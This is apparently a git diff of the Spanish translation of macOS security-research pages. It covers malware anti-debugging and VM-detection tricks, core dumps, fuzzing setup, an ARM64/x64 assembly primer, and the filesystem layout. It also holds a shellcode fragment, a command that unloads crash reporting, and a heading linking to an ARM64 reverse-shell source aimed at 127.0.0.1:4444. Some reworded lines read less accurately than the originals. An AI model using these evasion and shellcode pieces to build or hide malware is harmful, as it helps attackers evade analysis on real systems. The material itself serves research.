||||
|
||||
### Análisis Dinámico Anti
|
||||
|
||||
#### Detección de VM
|
||||
|
||||
- El comando **`sysctl hw.model`** devuelve "Mac" cuando el **host es un MacOS** pero algo diferente cuando es una VM.
|
||||
- Jugando con los valores de **`hw.logicalcpu`** y **`hw.physicalcpu`**, algunos malwares intentan detectar si es una VM.
|
||||
- Algunos malwares también pueden **detectar** si la máquina está basada en **VMware** según la dirección MAC (00:50:56).
|
||||
- También es posible encontrar **si un proceso está siendo depurado** con un código simple como:
|
||||
- `if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //proceso siendo depurado }`
|
||||
- También puede invocar la llamada al sistema **`ptrace`** con la bandera **`PT_DENY_ATTACH`**. Esto **previene** que un depurador se adjunte y rastree.
|
||||
- Puedes verificar si la función **`sysctl`** o **`ptrace`** está siendo **importada** (pero el malware podría importarla dinámicamente)
|
||||
- Como se señala en este informe, “[Defeating Anti-Debug Techniques: macOS ptrace variants](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)” :\
|
||||
“_El mensaje Process # exited with **status = 45 (0x0000002d)** es generalmente una señal reveladora de que el objetivo de depuración está usando **PT_DENY_ATTACH**_”
|
||||
|
||||
## Volcados de Núcleo
|
||||
|
||||
Los volcados de núcleo se crean si:
|
||||
|
||||
- `kern.coredump` sysctl está configurado en 1 (por defecto)
|
||||
- Si el proceso no era suid/sgid o `kern.sugid_coredump` es 1 (por defecto es 0)
|
||||
- El límite `AS_CORE` permite la operación. Es posible suprimir la creación de volcados de núcleo llamando a `ulimit -c 0` y reactivarlos con `ulimit -c unlimited`.
|
||||
|
||||
En esos casos, el volcado de núcleo se genera de acuerdo con `kern.corefile` sysctl y se almacena generalmente en `/cores/core/.%P`.
|
||||
|
||||
## Fuzzing
|
||||
|
||||
### [ReportCrash](https://ss64.com/osx/reportcrash.html)
|
||||
|
||||
ReportCrash **analiza procesos que fallan y guarda un informe de fallos en el disco**. Un informe de fallos contiene información que puede **ayudar a un desarrollador a diagnosticar** la causa de un fallo.\
|
||||
Para aplicaciones y otros procesos **que se ejecutan en el contexto de launchd por usuario**, ReportCrash se ejecuta como un LaunchAgent y guarda informes de fallos en `~/Library/Logs/DiagnosticReports/` del usuario.\
|
||||
Para demonios, otros procesos **que se ejecutan en el contexto de launchd del sistema** y otros procesos privilegiados, ReportCrash se ejecuta como un LaunchDaemon y guarda informes de fallos en `/Library/Logs/DiagnosticReports` del sistema.
|
||||
|
||||
Si te preocupa que los informes de fallos **se envíen a Apple**, puedes desactivarlos. Si no, los informes de fallos pueden ser útiles para **averiguar cómo se cayó un servidor**.
|
||||
```bash
|
||||
#To disable crash reporting:
|
||||
launchctl unload -w /System/Library/LaunchAgents/com.apple.ReportCrash.plist
|
||||
@ -456,7 +500,7 @@ Mientras se realiza fuzzing en MacOS, es importante no permitir que el Mac entre
|
||||
- pmset, Preferencias del Sistema
|
||||
- [KeepingYouAwake](https://github.com/newmarcel/KeepingYouAwake)
|
||||
|
||||
#### Desconexión SSH
|
||||
#### Desconexión de SSH
|
||||
|
||||
Si estás realizando fuzzing a través de una conexión SSH, es importante asegurarte de que la sesión no se desconecte. Así que cambia el archivo sshd_config con:
|
||||
|
||||
@ -496,7 +540,7 @@ lldb -o "target create `which some-binary`" -o "settings set target.env-vars DYL
|
||||
|
||||
#### [AFL++](https://github.com/AFLplusplus/AFLplusplus)
|
||||
|
||||
Funciona para herramientas de CLI
|
||||
Funciona para herramientas de línea de comandos
|
||||
|
||||
#### [Litefuzz](https://github.com/sec-tools/litefuzz)
|
||||
|
||||
|
||||
@ -23,7 +23,7 @@ El uso de estos niveles permite una forma estructurada y segura de gestionar dif
|
||||
|
||||
## **Registros (ARM64v8)**
|
||||
|
||||
ARM64 tiene **31 registros de propósito general**, etiquetados de `x0` a `x30`. Cada uno puede almacenar un valor de **64 bits** (8 bytes). Para operaciones que requieren solo valores de 32 bits, los mismos registros se pueden acceder en un modo de 32 bits utilizando los nombres w0 a w30.
|
||||
ARM64 tiene **31 registros de propósito general**, etiquetados de `x0` a `x30`. Cada uno puede almacenar un valor de **64 bits** (8 bytes). Para operaciones que requieren solo valores de 32 bits, los mismos registros se pueden acceder en un modo de 32 bits usando los nombres w0 a w30.
|
||||
|
||||
1. **`x0`** a **`x7`** - Estos se utilizan típicamente como registros temporales y para pasar parámetros a subrutinas.
|
||||
- **`x0`** también lleva los datos de retorno de una función.
|
||||
@ -40,14 +40,14 @@ ARM64 tiene **31 registros de propósito general**, etiquetados de `x0` a `x30`.
|
||||
- Si la función actual va a llamar a una nueva función y, por lo tanto, sobrescribir `lr`, lo almacenará en la pila al principio, este es el epílogo (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Almacenar `fp` y `lr`, generar espacio y obtener nuevo `fp`) y lo recuperará al final, este es el prólogo (`ldp x29, x30, [sp], #48; ret` -> Recuperar `fp` y `lr` y retornar).
|
||||
9. **`sp`** - **Puntero de Pila**, utilizado para hacer un seguimiento de la parte superior de la pila.
|
||||
- El valor de **`sp`** siempre debe mantenerse con al menos una **alineación de cuádruple palabra** o puede ocurrir una excepción de alineación.
|
||||
10. **`pc`** - **Contador de Programa**, que apunta a la siguiente instrucción. Este registro solo puede ser actualizado a través de la generación de excepciones, retornos de excepciones y saltos. Las únicas instrucciones ordinarias que pueden leer este registro son las instrucciones de salto con enlace (BL, BLR) para almacenar la dirección **`pc`** en **`lr`** (Registro de Enlace).
|
||||
11. **`xzr`** - **Registro Cero**. También se llama **`wzr`** en su forma de registro de **32** bits. Puede ser utilizado para obtener fácilmente el valor cero (operación común) o para realizar comparaciones utilizando **`subs`** como **`subs XZR, Xn, #10`** almacenando los datos resultantes en ningún lado (en **`xzr`**).
|
||||
10. **`pc`** - **Contador de Programa**, que apunta a la siguiente instrucción. Este registro solo puede ser actualizado a través de generaciones de excepciones, retornos de excepciones y saltos. Las únicas instrucciones ordinarias que pueden leer este registro son las instrucciones de salto con enlace (BL, BLR) para almacenar la dirección **`pc`** en **`lr`** (Registro de Enlace).
|
||||
11. **`xzr`** - **Registro Cero**. También se llama **`wzr`** en su forma de registro de **32** bits. Puede ser utilizado para obtener fácilmente el valor cero (operación común) o para realizar comparaciones usando **`subs`** como **`subs XZR, Xn, #10`** almacenando los datos resultantes en ningún lado (en **`xzr`**).
|
||||
|
||||
Los registros **`Wn`** son la versión de **32 bits** del registro **`Xn`**.
|
||||
|
||||
### Registros SIMD y de Punto Flotante
|
||||
|
||||
Además, hay otros **32 registros de 128 bits** que se pueden utilizar en operaciones optimizadas de datos múltiples de una sola instrucción (SIMD) y para realizar aritmética de punto flotante. Estos se llaman registros Vn, aunque también pueden operar en **64** bits, **32** bits, **16** bits y **8** bits y luego se llaman **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** y **`Bn`**.
|
||||
Además, hay otros **32 registros de 128 bits** que pueden ser utilizados en operaciones optimizadas de múltiples datos de instrucción única (SIMD) y para realizar aritmética de punto flotante. Estos se llaman registros Vn, aunque también pueden operar en **64** bits, **32** bits, **16** bits y **8** bits y entonces se llaman **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** y **`Bn`**.
|
||||
|
||||
### Registros del Sistema
|
||||
|
||||
@ -62,7 +62,7 @@ A menudo se utilizan para almacenar la **dirección base de la región de almace
|
||||
|
||||
### **PSTATE**
|
||||
|
||||
**PSTATE** contiene varios componentes del proceso serializados en el registro especial visible para el sistema operativo **`SPSR_ELx`**, siendo X el **nivel de permiso** **de la excepción** desencadenada (esto permite recuperar el estado del proceso cuando la excepción termina).\
|
||||
**PSTATE** contiene varios componentes del proceso serializados en el registro especial visible para el sistema operativo **`SPSR_ELx`**, siendo X el **nivel de permiso** **del** excepción desencadenada (esto permite recuperar el estado del proceso cuando la excepción termina).\
|
||||
Estos son los campos accesibles:
|
||||
|
||||
<figure><img src="../../../images/image (1196).png" alt=""><figcaption></figcaption></figure>
|
||||
@ -70,7 +70,7 @@ Estos son los campos accesibles:
|
||||
- Las **banderas de condición `N`**, `Z`, `C` y `V`:
|
||||
- **`N`** significa que la operación produjo un resultado negativo.
|
||||
- **`Z`** significa que la operación produjo cero.
|
||||
- **`C`** significa que la operación tuvo acarreo.
|
||||
- **`C`** significa que la operación llevó.
|
||||
- **`V`** significa que la operación produjo un desbordamiento con signo:
|
||||
- La suma de dos números positivos produce un resultado negativo.
|
||||
- La suma de dos números negativos produce un resultado positivo.
|
||||
@ -85,7 +85,7 @@ Estos son los campos accesibles:
|
||||
- La **bandera de paso único** (**`SS`**): Utilizada por depuradores para realizar un paso único configurando la bandera SS a 1 dentro de **`SPSR_ELx`** a través de una excepción. El programa ejecutará un paso y emitirá una excepción de paso único.
|
||||
- La **bandera de estado de excepción ilegal** (**`IL`**): Se utiliza para marcar cuando un software privilegiado realiza una transferencia de nivel de excepción inválida, esta bandera se establece en 1 y el procesador desencadena una excepción de estado ilegal.
|
||||
- Las **banderas `DAIF`**: Estas banderas permiten a un programa privilegiado enmascarar selectivamente ciertas excepciones externas.
|
||||
- Si **`A`** es 1, significa que se desencadenarán **abortos asíncronos**. La **`I`** configura la respuesta a las **Solicitudes de Interrupción** (IRQ) de hardware externas. y la F está relacionada con las **Solicitudes de Interrupción Rápida** (FIR).
|
||||
- Si **`A`** es 1, significa que se desencadenarán **abortos asíncronos**. La **`I`** configura la respuesta a las **Solicitudes de Interrupción de Hardware** (IRQ). y la F está relacionada con las **Solicitudes de Interrupción Rápida** (FIR).
|
||||
- Las **banderas de selección de puntero de pila** (**`SPS`**): Los programas privilegiados que se ejecutan en EL1 y superiores pueden alternar entre usar su propio registro de puntero de pila y el de modelo de usuario (por ejemplo, entre `SP_EL1` y `EL0`). Este cambio se realiza escribiendo en el registro especial **`SPSel`**. Esto no se puede hacer desde EL0.
|
||||
|
||||
## **Convención de Llamadas (ARM64v8)**
|
||||
@ -108,14 +108,14 @@ Las instrucciones ARM64 generalmente tienen el **formato `opcode dst, src1, src2
|
||||
- Ejemplo: `ldr x0, [x1]` — Esto carga un valor de la ubicación de memoria apuntada por `x1` en `x0`.
|
||||
- **Modo de desplazamiento**: Se indica un desplazamiento que afecta al puntero de origen, por ejemplo:
|
||||
- `ldr x2, [x1, #8]`, esto cargará en x2 el valor de x1 + 8.
|
||||
- `ldr x2, [x0, x1, lsl #2]`, esto cargará en x2 un objeto del array x0, desde la posición x1 (índice) * 4.
|
||||
- `ldr x2, [x0, x1, lsl #2]`, esto cargará en x2 un objeto del array x0, desde la posición x1 (índice) \* 4.
|
||||
- **Modo pre-indexado**: Esto aplicará cálculos al origen, obtendrá el resultado y también almacenará el nuevo origen en el origen.
|
||||
- `ldr x2, [x1, #8]!`, esto cargará `x1 + 8` en `x2` y almacenará en x1 el resultado de `x1 + 8`.
|
||||
- `str lr, [sp, #-4]!`, Almacena el registro de enlace en sp y actualiza el registro sp.
|
||||
- **Modo post-indexado**: Esto es como el anterior, pero se accede a la dirección de memoria y luego se calcula y almacena el desplazamiento.
|
||||
- `ldr x0, [x1], #8`, carga `x1` en `x0` y actualiza x1 con `x1 + 8`.
|
||||
- **Dirección relativa al PC**: En este caso, la dirección a cargar se calcula en relación con el registro PC.
|
||||
- `ldr x1, =_start`, Esto cargará la dirección donde comienza el símbolo `_start` en x1 en relación con el PC actual.
|
||||
- `ldr x1, =_start`, Esto cargará la dirección donde comienza el símbolo `_start` en x1 relacionado con el PC actual.
|
||||
- **`str`**: **Almacenar** un valor de un **registro** en **memoria**.
|
||||
- Ejemplo: `str x0, [x1]` — Esto almacena el valor en `x0` en la ubicación de memoria apuntada por `x1`.
|
||||
- **`ldp`**: **Cargar Par de Registros**. Esta instrucción **carga dos registros** desde **ubicaciones de memoria** consecutivas. La dirección de memoria se forma típicamente sumando un desplazamiento al valor en otro registro.
|
||||
@ -130,7 +130,7 @@ Las instrucciones ARM64 generalmente tienen el **formato `opcode dst, src1, src2
|
||||
- Xn3 | #imm -> Operando 2 (registro o inmediato)
|
||||
- \[shift #N | RRX] -> Realizar un desplazamiento o llamar a RRX.
|
||||
- Ejemplo: `add x0, x1, x2` — Esto suma los valores en `x1` y `x2` y almacena el resultado en `x0`.
|
||||
- `add x5, x5, #1, lsl #12` — Esto es igual a 4096 (un 1 desplazado 12 veces) -> 1 0000 0000 0000 0000.
|
||||
- `add x5, x5, #1, lsl #12` — Esto equivale a 4096 (un 1 desplazado 12 veces) -> 1 0000 0000 0000 0000.
|
||||
- **`adds`** Esto realiza un `add` y actualiza las banderas.
|
||||
- **`sub`**: **Restar** los valores de dos registros y almacenar el resultado en un registro.
|
||||
- Verifique la **sintaxis de `add`**.
|
||||
@ -143,7 +143,7 @@ Las instrucciones ARM64 generalmente tienen el **formato `opcode dst, src1, src2
|
||||
- **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**:
|
||||
- **Desplazamiento lógico a la izquierda**: Agrega 0s desde el final moviendo los otros bits hacia adelante (multiplica por n veces 2).
|
||||
- **Desplazamiento lógico a la derecha**: Agrega 1s al principio moviendo los otros bits hacia atrás (divide por n veces 2 en sin signo).
|
||||
- **Desplazamiento aritmético a la derecha**: Como **`lsr`**, pero en lugar de agregar 0s si el bit más significativo es un 1, se agregan 1s (divide por n veces 2 en con signo).
|
||||
- **Desplazamiento aritmético a la derecha**: Como **`lsr`**, pero en lugar de agregar 0s, si el bit más significativo es un 1, se agregan 1s (divide por n veces 2 en con signo).
|
||||
- **Rotar a la derecha**: Como **`lsr`** pero lo que se elimina de la derecha se agrega a la izquierda.
|
||||
- **Rotar a la derecha con extensión**: Como **`ror`**, pero con la bandera de acarreo como el "bit más significativo". Así que la bandera de acarreo se mueve al bit 31 y el bit eliminado a la bandera de acarreo.
|
||||
- **`bfm`**: **Movimiento de Campo de Bits**, estas operaciones **copian bits `0...n`** de un valor y los colocan en posiciones **`m..m+n`**. El **`#s`** especifica la **posición del bit más a la izquierda** y **`#r`** la **cantidad de rotación a la derecha**.
|
||||
@ -157,17 +157,17 @@ Las instrucciones ARM64 generalmente tienen el **formato `opcode dst, src1, src2
|
||||
- **`SBFX X1, X2, #3, #4`** Extrae 4 bits comenzando en el bit 3 de X2, extiende el signo y coloca el resultado en X1.
|
||||
- **`UBFIZ X1, X2, #3, #4`** Extiende a cero 4 bits de X2 e inserta en X1 comenzando en la posición de bit 3, poniendo a cero los bits de la derecha.
|
||||
- **`UBFX X1, X2, #3, #4`** Extrae 4 bits comenzando en el bit 3 de X2 y coloca el resultado extendido a cero en X1.
|
||||
- **Extender Signo a X:** Extiende el signo (o solo agrega 0s en la versión sin signo) de un valor para poder realizar operaciones con él:
|
||||
- **Extender Signo a X:** Extiende el signo (o simplemente agrega 0s en la versión sin signo) de un valor para poder realizar operaciones con él:
|
||||
- **`SXTB X1, W2`** Extiende el signo de un byte **de W2 a X1** (`W2` es la mitad de `X2`) para llenar los 64 bits.
|
||||
- **`SXTH X1, W2`** Extiende el signo de un número de 16 bits **de W2 a X1** para llenar los 64 bits.
|
||||
- **`SXTW X1, W2`** Extiende el signo de un byte **de W2 a X1** para llenar los 64 bits.
|
||||
- **`UXTB X1, W2`** Agrega 0s (sin signo) a un byte **de W2 a X1** para llenar los 64 bits.
|
||||
- **`extr`:** Extrae bits de un **par de registros concatenados** especificados.
|
||||
- **`extr`:** Extrae bits de un **par de registros especificados concatenados**.
|
||||
- Ejemplo: `EXTR W3, W2, W1, #3` Esto **concatena W1+W2** y obtiene **desde el bit 3 de W2 hasta el bit 3 de W1** y lo almacena en W3.
|
||||
- **`cmp`**: **Comparar** dos registros y establecer banderas de condición. Es un **alias de `subs`** estableciendo el registro de destino en el registro cero. Útil para saber si `m == n`.
|
||||
- Soporta la **misma sintaxis que `subs`**.
|
||||
- Ejemplo: `cmp x0, x1` — Esto compara los valores en `x0` y `x1` y establece las banderas de condición en consecuencia.
|
||||
- **`cmn`**: **Comparar** el operando negativo. En este caso, es un **alias de `adds`** y soporta la misma sintaxis. Útil para saber si `m == -n`.
|
||||
- **`cmn`**: **Comparar el operando negativo**. En este caso, es un **alias de `adds`** y soporta la misma sintaxis. Útil para saber si `m == -n`.
|
||||
- **`ccmp`**: Comparación condicional, es una comparación que se realizará solo si una comparación anterior fue verdadera y establecerá específicamente los bits nzcv.
|
||||
- `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> si x1 != x2 y x3 < x4, salta a func.
|
||||
- Esto se debe a que **`ccmp`** solo se ejecutará si la **anterior `cmp` fue un `NE`**, si no lo fue, los bits `nzcv` se establecerán en 0 (lo que no satisfará la comparación `blt`).
|
||||
@ -178,17 +178,17 @@ Las instrucciones ARM64 generalmente tienen el **formato `opcode dst, src1, src2
|
||||
- **`b`**: Salto incondicional.
|
||||
- Ejemplo: `b myFunction`.
|
||||
- Tenga en cuenta que esto no llenará el registro de enlace con la dirección de retorno (no es adecuado para llamadas a subrutinas que necesitan regresar).
|
||||
- **`bl`**: **Branch** con enlace, utilizado para **llamar** a una **subrutina**. Almacena la **dirección de retorno en `x30`**.
|
||||
- **`bl`**: **Salto** con enlace, utilizado para **llamar** a una **subrutina**. Almacena la **dirección de retorno en `x30`**.
|
||||
- Ejemplo: `bl myFunction` — Esto llama a la función `myFunction` y almacena la dirección de retorno en `x30`.
|
||||
- Tenga en cuenta que esto no llenará el registro de enlace con la dirección de retorno (no es adecuado para llamadas a subrutinas que necesitan regresar).
|
||||
- **`blr`**: **Branch** con enlace a registro, utilizado para **llamar** a una **subrutina** donde el objetivo está **especificado** en un **registro**. Almacena la dirección de retorno en `x30`.
|
||||
- **`blr`**: **Salto** con enlace a registro, utilizado para **llamar** a una **subrutina** donde el objetivo está **especificado** en un **registro**. Almacena la dirección de retorno en `x30`.
|
||||
- Ejemplo: `blr x1` — Esto llama a la función cuya dirección está contenida en `x1` y almacena la dirección de retorno en `x30`.
|
||||
- **`ret`**: **Retornar** de **subrutina**, típicamente usando la dirección en **`x30`**.
|
||||
- Ejemplo: `ret` — Esto retorna de la subrutina actual usando la dirección de retorno en `x30`.
|
||||
- **`b.<cond>`**: Saltos condicionales.
|
||||
- **`b.eq`**: **Branch si es igual**, basado en la instrucción `cmp` anterior.
|
||||
- **`b.eq`**: **Salto si es igual**, basado en la instrucción `cmp` anterior.
|
||||
- Ejemplo: `b.eq label` — Si la instrucción `cmp` anterior encontró dos valores iguales, esto salta a `label`.
|
||||
- **`b.ne`**: **Branch si no es igual**. Esta instrucción verifica las banderas de condición (que fueron establecidas por una instrucción de comparación anterior), y si los valores comparados no eran iguales, salta a una etiqueta o dirección.
|
||||
- **`b.ne`**: **Salto si no es igual**. Esta instrucción verifica las banderas de condición (que fueron establecidas por una instrucción de comparación anterior), y si los valores comparados no eran iguales, salta a una etiqueta o dirección.
|
||||
- Ejemplo: Después de una instrucción `cmp x0, x1`, `b.ne label` — Si los valores en `x0` y `x1` no eran iguales, esto salta a `label`.
|
||||
- **`cbz`**: **Comparar y saltar si es cero**. Esta instrucción compara un registro con cero, y si son iguales, salta a una etiqueta o dirección.
|
||||
- Ejemplo: `cbz x0, label` — Si el valor en `x0` es cero, esto salta a `label`.
|
||||
@ -210,8 +210,8 @@ Las instrucciones ARM64 generalmente tienen el **formato `opcode dst, src1, src2
|
||||
- `csetm Xd, Xn, Xm, cond` -> Si es verdadero, Xd = \<todos 1>, si es falso, Xd = 0.
|
||||
- **`adrp`**: Calcular la **dirección de página de un símbolo** y almacenarla en un registro.
|
||||
- Ejemplo: `adrp x0, symbol` — Esto calcula la dirección de página de `symbol` y la almacena en `x0`.
|
||||
- **`ldrsw`**: **Cargar** un valor **32 bits** con signo de la memoria y **extenderlo a 64** bits.
|
||||
- Ejemplo: `ldrsw x0, [x1]` — Esto carga un valor de 32 bits con signo de la ubicación de memoria apuntada por `x1`, lo extiende a 64 bits y lo almacena en `x0`.
|
||||
- **`ldrsw`**: **Cargar** un valor **firmado de 32 bits** de la memoria y **extenderlo a 64** bits.
|
||||
- Ejemplo: `ldrsw x0, [x1]` — Esto carga un valor firmado de 32 bits de la ubicación de memoria apuntada por `x1`, lo extiende a 64 bits y lo almacena en `x0`.
|
||||
- **`stur`**: **Almacenar un valor de registro en una ubicación de memoria**, utilizando un desplazamiento de otro registro.
|
||||
- Ejemplo: `stur x0, [x1, #4]` — Esto almacena el valor en `x0` en la dirección de memoria que es 4 bytes mayor que la dirección actualmente en `x1`.
|
||||
- **`svc`** : Realizar una **llamada al sistema**. Significa "Supervisor Call". Cuando el procesador ejecuta esta instrucción, **cambia de modo usuario a modo núcleo** y salta a una ubicación específica en memoria donde se encuentra el **código de manejo de llamadas al sistema del núcleo**.
|
||||
@ -246,7 +246,7 @@ ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment th
|
||||
|
||||
Armv8-A soporta la ejecución de programas de 32 bits. **AArch32** puede ejecutarse en uno de **dos conjuntos de instrucciones**: **`A32`** y **`T32`** y puede cambiar entre ellos a través de **`interworking`**.\
|
||||
Los programas **privilegiados** de 64 bits pueden programar la **ejecución de programas de 32 bits** al ejecutar una transferencia de nivel de excepción al de 32 bits de menor privilegio.\
|
||||
Tenga en cuenta que la transición de 64 bits a 32 bits ocurre con una disminución del nivel de excepción (por ejemplo, un programa de 64 bits en EL1 que activa un programa en EL0). Esto se hace configurando el **bit 4 de** **`SPSR_ELx`** registro especial **a 1** cuando el hilo de proceso `AArch32` está listo para ser ejecutado y el resto de `SPSR_ELx` almacena el CPSR de los programas **`AArch32`**. Luego, el proceso privilegiado llama a la instrucción **`ERET`** para que el procesador transicione a **`AArch32`** ingresando en A32 o T32 dependiendo de CPSR\*\*.\*\*
|
||||
Tenga en cuenta que la transición de 64 bits a 32 bits ocurre con una disminución del nivel de excepción (por ejemplo, un programa de 64 bits en EL1 activando un programa en EL0). Esto se hace configurando el **bit 4 de** **`SPSR_ELx`** registro especial **a 1** cuando el hilo de proceso `AArch32` está listo para ser ejecutado y el resto de `SPSR_ELx` almacena el CPSR de los programas **`AArch32`**. Luego, el proceso privilegiado llama a la instrucción **`ERET`** para que el procesador transicione a **`AArch32`** ingresando en A32 o T32 dependiendo de CPSR\*\*.\*\*
|
||||
|
||||
El **`interworking`** ocurre utilizando los bits J y T de CPSR. `J=0` y `T=0` significa **`A32`** y `J=0` y `T=1` significa **T32**. Esto se traduce básicamente en establecer el **bit más bajo a 1** para indicar que el conjunto de instrucciones es T32.\
|
||||
Esto se establece durante las **instrucciones de rama de interworking**, pero también se puede establecer directamente con otras instrucciones cuando el PC se establece como el registro de destino. Ejemplo:
|
||||
@ -299,9 +299,9 @@ La instrucción **`SEL`** utiliza estas banderas GE para realizar acciones condi
|
||||
#### Registros de Estado de Ejecución
|
||||
|
||||
- Los bits **`J`** y **`T`**: **`J`** debe ser 0 y si **`T`** es 0 se utiliza el conjunto de instrucciones A32, y si es 1, se utiliza el T32.
|
||||
- **Registro de Estado del Bloque IT** (`ITSTATE`): Estos son los bits del 10 al 15 y del 25 al 26. Almacenan condiciones para instrucciones dentro de un grupo con prefijo **`IT`**.
|
||||
- **Registro de Estado del Bloque IT** (`ITSTATE`): Estos son los bits del 10-15 y 25-26. Almacenan condiciones para instrucciones dentro de un grupo con prefijo **`IT`**.
|
||||
- Bit **`E`**: Indica el **endianness**.
|
||||
- Bits de Modo y Máscara de Excepción (0-4): Determinan el estado de ejecución actual. El **5to** indica si el programa se ejecuta como 32 bits (un 1) o 64 bits (un 0). Los otros 4 representan el **modo de excepción actualmente en uso** (cuando ocurre una excepción y se está manejando). El número establecido **indica la prioridad actual** en caso de que se desencadene otra excepción mientras se está manejando esta.
|
||||
- Bits de Modo y Máscara de Excepción (0-4): Determinan el estado de ejecución actual. El **quinto** indica si el programa se ejecuta como 32 bits (un 1) o 64 bits (un 0). Los otros 4 representan el **modo de excepción actualmente en uso** (cuando ocurre una excepción y se está manejando). El número establecido **indica la prioridad actual** en caso de que se desencadene otra excepción mientras se está manejando esta.
|
||||
|
||||
<figure><img src="../../../images/image (1200).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -693,7 +693,7 @@ mov x2, xzr
|
||||
mov x16, #59
|
||||
svc #0x1337
|
||||
```
|
||||
#### Reverse shell
|
||||
#### Shell inversa
|
||||
|
||||
Desde [https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s), revshell a **127.0.0.1:4444**
|
||||
```armasm
|
||||
|
||||
@ -17,7 +17,7 @@ x64 se expande sobre la arquitectura x86, presentando **16 registros de propósi
|
||||
5. **`rbp`** - **Puntero base** para el marco de pila.
|
||||
6. **`rsp`** - **Puntero de pila**, que mantiene el seguimiento de la parte superior de la pila.
|
||||
7. **`rsi`** y **`rdi`** - Utilizados para índices de **origen** y **destino** en operaciones de cadena/memoria.
|
||||
8. **`r8`** a **`r15`** - Registros de propósito general adicionales introducidos en x64.
|
||||
8. **`r8`** a **`r15`** - Registros adicionales de propósito general introducidos en x64.
|
||||
|
||||
### **Convención de Llamadas**
|
||||
|
||||
@ -34,11 +34,11 @@ Swift tiene su propia **convención de llamadas** que se puede encontrar en [**h
|
||||
|
||||
### **Instrucciones Comunes**
|
||||
|
||||
Las instrucciones x64 tienen un conjunto rico, manteniendo la compatibilidad con las instrucciones x86 anteriores e introduciendo nuevas.
|
||||
Las instrucciones x64 tienen un conjunto rico, manteniendo la compatibilidad con instrucciones x86 anteriores e introduciendo nuevas.
|
||||
|
||||
- **`mov`**: **Mover** un valor de un **registro** o **ubicación de memoria** a otro.
|
||||
- Ejemplo: `mov rax, rbx` — Mueve el valor de `rbx` a `rax`.
|
||||
- **`push`** y **`pop`**: Empujar o sacar valores de/a la **pila**.
|
||||
- **`push`** y **`pop`**: Empujar o sacar valores de/la **pila**.
|
||||
- Ejemplo: `push rax` — Empuja el valor en `rax` a la pila.
|
||||
- Ejemplo: `pop rax` — Saca el valor superior de la pila en `rax`.
|
||||
- **`add`** y **`sub`**: Operaciones de **suma** y **resta**.
|
||||
@ -50,7 +50,7 @@ Las instrucciones x64 tienen un conjunto rico, manteniendo la compatibilidad con
|
||||
- Ejemplo: `cmp rax, rdx` — Compara `rax` con `rdx`.
|
||||
- **`je`, `jne`, `jl`, `jge`, ...**: Instrucciones de **salto condicional** que cambian el flujo de control basándose en los resultados de un `cmp` o prueba anterior.
|
||||
- Ejemplo: Después de una instrucción `cmp rax, rdx`, `je label` — Salta a `label` si `rax` es igual a `rdx`.
|
||||
- **`syscall`**: Utilizado para **llamadas al sistema** en algunos sistemas x64 (como Unix moderno).
|
||||
- **`syscall`**: Utilizado para **llamadas al sistema** en algunos sistemas x64 (como Unix modernos).
|
||||
- **`sysenter`**: Una instrucción de **llamada al sistema** optimizada en algunas plataformas.
|
||||
|
||||
### **Prologo de Función**
|
||||
|
||||
@ -12,7 +12,7 @@
|
||||
- **/Library**: Se pueden encontrar muchas subcarpetas y archivos relacionados con preferencias, cachés y registros aquí. Una carpeta Library existe en la raíz y en el directorio de cada usuario.
|
||||
- **/private**: No documentado, pero muchas de las carpetas mencionadas son enlaces simbólicos al directorio privado.
|
||||
- **/sbin**: Binarios esenciales del sistema (relacionados con la administración)
|
||||
- **/System**: Archivo para hacer funcionar OS X. Aquí deberías encontrar principalmente archivos específicos de Apple (no de terceros).
|
||||
- **/System**: Archivo para hacer funcionar OS X. Aquí deberías encontrar principalmente solo archivos específicos de Apple (no de terceros).
|
||||
- **/tmp**: Los archivos se eliminan después de 3 días (es un enlace simbólico a /private/tmp)
|
||||
- **/Users**: Directorio personal para usuarios.
|
||||
- **/usr**: Configuración y binarios del sistema
|
||||
@ -23,9 +23,9 @@
|
||||
### Carpetas de Aplicaciones
|
||||
|
||||
- **Las aplicaciones del sistema** se encuentran en `/System/Applications`
|
||||
- **Las aplicaciones instaladas** generalmente se instalan en `/Applications` o en `~/Applications`
|
||||
- **Las aplicaciones instaladas** suelen estar en `/Applications` o en `~/Applications`
|
||||
- **Los datos de la aplicación** se pueden encontrar en `/Library/Application Support` para las aplicaciones que se ejecutan como root y `~/Library/Application Support` para aplicaciones que se ejecutan como el usuario.
|
||||
- Los **demonios** de aplicaciones de terceros que **necesitan ejecutarse como root** generalmente se encuentran en `/Library/PrivilegedHelperTools/`
|
||||
- Los **demonios** de aplicaciones de terceros que **necesitan ejecutarse como root** suelen estar en `/Library/PrivilegedHelperTools/`
|
||||
- Las aplicaciones **sandboxed** están mapeadas en la carpeta `~/Library/Containers`. Cada aplicación tiene una carpeta nombrada de acuerdo con el ID del paquete de la aplicación (`com.apple.Safari`).
|
||||
- El **núcleo** se encuentra en `/System/Library/Kernels/kernel`
|
||||
- **Las extensiones del núcleo de Apple** se encuentran en `/System/Library/Extensions`
|
||||
@ -80,7 +80,7 @@ En macOS (y iOS) todas las bibliotecas compartidas del sistema, como frameworks
|
||||
Esto se encuentra en macOS en `/System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/` y en versiones anteriores podrías encontrar la **caché compartida** en **`/System/Library/dyld/`**.\
|
||||
En iOS puedes encontrarlas en **`/System/Library/Caches/com.apple.dyld/`**.
|
||||
|
||||
Similar a la caché compartida de dyld, el núcleo y las extensiones del núcleo también se compilan en una caché de núcleo, que se carga al inicio.
|
||||
Similar a la caché compartida de dyld, el núcleo y las extensiones del núcleo también se compilan en una caché del núcleo, que se carga al inicio.
|
||||
|
||||
Para extraer las bibliotecas del único archivo de caché compartido de dylib, era posible usar el binario [dyld_shared_cache_util](https://www.mbsplugins.de/files/dyld_shared_cache_util-dyld-733.8.zip) que puede que no funcione hoy en día, pero también puedes usar [**dyldextractor**](https://github.com/arandomdev/dyldextractor):
|
||||
```bash
|
||||
